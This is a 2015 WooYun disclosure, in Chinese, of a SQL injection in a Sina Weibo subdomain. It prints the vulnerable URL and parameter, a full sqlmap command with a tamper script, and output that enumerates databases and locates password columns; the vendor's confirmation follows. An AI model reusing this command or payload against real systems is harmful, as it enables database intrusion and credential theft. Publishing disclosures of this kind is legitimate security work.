当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090240

漏洞标题:新浪微博某重要分站SQL注射

相关厂商:新浪

漏洞作者: Jannock

提交时间:2015-01-06 13:06

修复时间:2015-02-20 13:08

公开时间:2015-02-20 13:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向核心白帽子及相关领域专家公开
2015-01-26: 细节向普通白帽子公开
2015-02-05: 细节向实习白帽子公开
2015-02-20: 细节向公众公开

简要描述:

新浪微博某重要分站SQL注射,好像有用户密码信息,不敢深入

详细说明:

http://d.weibo.com/1075030100?pids=Pl_Core_P1MultiPic__6&cfs=920&Pl_Core_P1MultiPic__6_filter=2&ajaxpagelet=1&__ref=/1075030100&_t=FM_142051603498282
Pl_Core_P1MultiPic__6_filter 参数存在SQL注入。

漏洞证明:

root@bt5:/pentest/database/sqlmap# python sqlmap.py -r /1.txt -p "Pl_Core_P1MultiPic__6_filter" --dbms=mysql --technique=B --string "opt_page" --tamper=chardoubleencode --dbs --threads 5
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:58:18
[12:58:18] [INFO] parsing HTTP request from '/1.txt'
[12:58:18] [INFO] loading tamper script 'chardoubleencode'
[12:58:18] [WARNING] provided parameter 'Pl_Core_P1MultiPic__6_filter' is not inside the Cookie
[12:58:18] [INFO] testing connection to the target url
[12:58:18] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: Pl_Core_P1MultiPic__6_filter
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pids=Pl_Core_P1MultiPic__6&cfs=920&Pl_Core_P1MultiPic__6_filter=2 AND 8106=8106&ajaxpagelet=1&__ref=/1075030100&_t=FM_142051603498282
---
[12:58:18] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[12:58:18] [INFO] testing MySQL
[12:58:18] [INFO] confirming MySQL
[12:58:19] [WARNING] reflective value(s) found and filtering out
[12:58:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[12:58:19] [INFO] fetching database names
[12:58:19] [INFO] fetching number of databases
[12:58:19] [INFO] resumed: 3
[12:58:19] [INFO] retrieving the length of query output
[12:58:19] [INFO] retrieved: 18
[12:58:31] [INFO] retrieved: infnrmation_schema
[12:58:31] [INFO] retrieving the length of query output
[12:58:31] [INFO] retrieved: 8
[12:58:38] [INFO] retrieved: mucenter
[12:58:38] [INFO] retrieving the length of query output
[12:58:38] [INFO] retrieved: 4
[12:58:42] [INFO] retrieved: test
available databases [3]:
[*] infnrmation_schema
[*] mucenter
[*] test


Columns like 'pass' were found in the following databases:
Database: mucenter
Table: IOS_C************
[1 column]
+------------+
| Column |
+------------+
| Passphrase |
+------------+
Database: mucenter
Table: SMS_U************
[1 column]
+----------+
| Column |
+----------+
| PASSWORD |
+----------+

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-06 14:52

厂商回复:

感谢关注新浪安全,漏洞修复中。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-06 13:06 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    一哥!

  2. 2015-01-06 13:08 | bitcoin ( 普通白帽子 | Rank:715 漏洞数:218 | 学习是最好的投资!)

    膜拜!

  3. 2015-01-06 13:08 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    前排

  4. 2015-01-06 13:09 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的,万一实现了呢?)

    求教注入

  5. 2015-01-06 13:12 | lijiejie 认证白帽子 ( 核心白帽子 | Rank:2210 漏洞数:294 | Just for fun.)

    一哥威武!

  6. 2015-01-06 13:29 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    一哥威武!

  7. 2015-01-06 13:51 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    我知道你还有一个注入没发,一会会发